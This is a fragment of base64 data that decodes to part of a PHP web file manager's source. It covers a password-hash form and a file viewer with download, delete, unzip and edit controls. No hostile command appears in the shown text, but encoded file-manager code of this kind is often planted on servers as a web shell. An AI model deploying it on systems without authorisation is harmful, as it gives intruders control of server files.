PVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgIC